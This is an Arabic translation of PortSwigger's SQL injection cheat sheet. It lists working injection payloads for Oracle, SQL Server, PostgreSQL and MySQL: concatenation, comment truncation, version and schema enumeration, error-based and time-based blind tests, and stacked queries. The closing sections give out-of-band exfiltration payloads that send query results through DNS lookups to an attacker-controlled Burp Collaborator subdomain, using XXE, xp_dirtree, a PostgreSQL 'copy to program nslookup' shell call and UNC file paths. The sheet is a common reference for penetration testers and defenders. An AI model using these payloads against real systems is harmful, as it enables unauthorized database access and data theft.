ورقة الغش (cheat sheet) في حقن SQL:

تحتوي ورقة الغش (cheat sheet) هذه في حقن SQL على أمثلة لصياغات (أساليب بناء جمل [syntax]) مفيدة يمكنك استخدامها للقيام بمجموعة متنوعة من المهام التي تنشأ غالباً عند تنفيذ هجمات حقن SQL. 

ربط السلاسل (string concatenation): 

يمكنك ربط سلاسل متعددة معاً لإنشاء سلسلة واحدة. 

Oracle 'foo'||'bar' 
Microsoft 'foo'+'bar' 
PostgreSQL 'foo'||'bar' 
MySQL [لاحظ الفراغ space بين السلسلتين]'foo' 'bar'  CONCAT('foo','bar') 

التعليقات (comments): 

يمكنك استخدام التعليقات لاقتطاع استعلام و إزالة جزء الاستعلام الأصلي الذي يتبع المدخلات الخاصة بك. 

Oracle --comment 
Microsoft --comment  /*comment*/ 
PostgreSQL --comment  /*comment*/ 
MySQL #comment  [لاحظ الفراغ space بعد الشرطة المزدوجة]-- comment  /*comment*/ 

إصدار قاعدة البيانات (database version) : 

يمكنك استعلام قاعدة البيانات لتحديد نوعها وإصدارها. هذه المعلومات مفيدة عند صياغة الهجمات الأشد تعقيداً. 

Oracle SELECT banner FROM v$version  SELECT version FROM v$instance 
Microsoft SELECT @@version 
PostgreSQL SELECT version() 
MySQL SELECT @@version 

محتويات قاعدة البيانات : 

يمكنك سرد الجداول الموجودة في قاعدة البيانات والأعمدة التي تحتويها هذه الجداول. 

Oracle SELECT * FROM all_tables 

Oracle SELECT * FROM all_tables  SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' 
Microsoft SELECT * FROM information_schema.tables  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' 
PostgreSQL SELECT * FROM information_schema.tables  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' 
MySQL SELECT * FROM information_schema.tables  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' 

الأخطاء الشرطية : 

يمكنك اختبار شرط منطقي واحد وإثارة خطأ في قاعدة البيانات إذا كان الشرط صحيحاً. 

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual 
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END 
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END 
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') 

استعلامات مجمعة (أو مكدسة) [Batched (or stacked) queries]: 

يمكنك استخدام الاستعلامات المجمعة لتنفيذ استعلامات متعددة متتالية. لاحظ أنه أثناء تنفيذ الاستعلامات التالية، لن يتم إرجاع النتائج إلى التطبيق. وبالتالي فإن هذه التقنية تستخدم في المقام الأول فيما يتعلق بالثغرات العمياء حيث يمكنك استخدام الاستعلام الثاني لإثارة بحث  DNS أو خطأ مشروط أو تأخير زمني. 

Oracle لا تدعم الاستعلامات المجمعة 
Microsoft QUERY-1-HERE; QUERY-2-HERE 
PostgreSQL QUERY-1-HERE; QUERY-2-HERE 
MySQL لا تدعم الاستعلامات المجمعة 

التأخير الزمني: 

يمكنك أن تسبب تأخيراً زمنياً في قاعدة البيانات عند معالجة الاستعلام. سيؤدي ما يلي إلى تأخير زمني غير مشروط قدره 10 ثوانٍ. 

Oracle dbms_pipe.receive_message(('a'),10) 
Microsoft WAITFOR DELAY '0:0:10' 
PostgreSQL SELECT pg_sleep(10) 
MySQL SELECT sleep(10) 

التأخير الزمني المشروط: 

يمكنك اختبار شرط منطقي واحد و إحداث تأخير زمني إذا كان الشرط محققاً (صحيحاً). 

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual 
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' 
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END 
MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') 

بحث DNS: 

يمكنك أن تسبب قاعدة البيانات بإجراء بحث DNS إلى نطاق خارجي. للقيام بذلك، ستحتاج إلى استخدامBurp Collaborator client  لإنشاء نطاق Burp Collaborator فرعي فريد والذي ستستخدمه في الهجوم الخاص بك، ثم ستقوم باستطلاع خادم Collaborator لتأكيد حدوث عملية بحث DNS. 

Oracle تعمل التقنية التالية على الاستفادة من ثغرة كائن XML خارجي (XXE) لإطلاق بحث DNS. تم سد الثغرة ولكن توجد العديد من نسخ Oracle المثبتة والتي لم يتم سد الثغرة فيها :  
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual 
 
تعمل التقنية التالية على نسخ Oracle المصححة بالكامل، ولكنها تتطلب صلاحيات (أو امتيازات privileges) مرتفعة:  
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') 
Microsoft exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' 
PostgreSQL copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' 
MySQL التقنيات التالية تعمل على نظام Windows فقط:  
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')  SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' 

بحث DNS مع تسريب البيانات: 

يمكنك أن تتسبب في جعل قاعدة البيانات تقوم بإجراء بحث DNS إلى نطاق خارجي يحتوي على نتائج استعلام تم حقنه. للقيام بذلك، ستحتاج إلى استخدام Burp Collaborator client لإنشاء نطاق Burp Collaborator فرعي فريد (unique Burp Collaborator subdomain) والذي ستستخدمه في هجومك، ثم ستقوم باستطلاع خادم Collaborator لاسترداد تفاصيل أية تفاعلات (أو تبادلات) DNS ، بما في ذلك البيانات المسربة. 

Oracle SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual 
Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'[email protected]+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') 
PostgreSQL create OR replace function f() returns void as $$ 
declare c text; 
declare p text; 
begin 
SELECT into p (SELECT YOUR-QUERY-HERE); 
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net'''; 
execute c; 
END; 
$$ language plpgsql security definer; 
SELECT f(); 
MySQL التقنية التالية تعمل على نظام Windows فقط:  
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' 

المصدر: https://portswigger.net/web-security/sql-injection/cheat-sheet